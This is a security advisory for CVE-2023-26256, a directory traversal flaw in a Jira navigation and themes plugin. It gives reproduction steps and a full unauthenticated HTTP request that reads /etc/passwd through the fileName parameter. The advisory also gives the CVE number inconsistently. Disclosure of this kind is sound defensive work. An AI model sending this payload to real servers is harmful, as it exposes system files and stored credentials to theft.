Skip to content
Permalink
main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time

Overview

Stagil navigation for jira – Menù & Themes" is a Jira GUI customization plugin that allows, among other things, to insert a custom image as a header and/or footer. This plugin was developed by Stagil, an independent company that is a Silver Solution Partner and focuses on designing efficient and durable plugin solutions for the Jira environment.

Vulnerability Description

Prior to version 2.0.52 of the “Stagil navigation for jira – Menù & Themes", the fileName parameter is vulnerable to a "Directory Traversal" that would allow an attacker to read files on the server knowing their path.

Directory Traversal is a vulnerability that allows an attacker to read arbitrary files on the server that is running an application. This might include application data, credentials for back-end systems, and sensitive operating system files.

The CVE Program has assigned the ID CVE-2023-20256 to this issue. This is a record on the CVE List, which standardizes names for security problems:

CVE ID: CVE-2023-26256 --> https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-26256

Impacts

This vulnerability allows files on the server to be read. It is also possible to retrieve configuration files containing plaintext passwords, as well as application logs to conduct analysis on users browsing the site.

CVE-2023-26256 - Directory Traversal

Proof of concept (POC)

Reproducing Steps

First you need to have the “Stagil navigation for jira – Menù & Themes v2.0.50” plugin installed, which can be downloaded from the atlassian marketplace.

You can check your "Menù & Themes" version in admin panel:

2023-02-28 12_53_05-kali-linux-2022 3-vmware-amd64 - VMware Workstation

Once you have customized the Jira GUI and added a new image as the navigation bar background, you can exploit the vulnerability in question.

2023-02-28 11_04_31-pathTraversal2-2

Once the image has been loaded whenever you navigate a project menu, an HTTP GET request is made that invokes that image.

This request use two paramenters: “fileName” and “fileMime”, the former being vulnerable to Path Traversal since no type of check is done on the content of this parameter.

In fact, it is possible to insert a payload, consisting of the path we want to retrieve, inside "fileName" to get the contents of the retrieved file as the following images show:

2023-02-28 11_06_04-pathTraversal2-3

GET /plugins/servlet/snjFooterNavigationConfig?fileName=../../../../etc/passwd&fileMime=$textMime  HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin

Moreover, this request can be made even without being authenticated, in fact in the next evidence the request is made without session cookies:

pathTraversal2

Suggestions

To make the fix for this vulnerability, it is recommended to update the plugin to version 2.0.52 where this issue is no longer present.

Discovered by

Alessandro Fondacci of Cybertech srl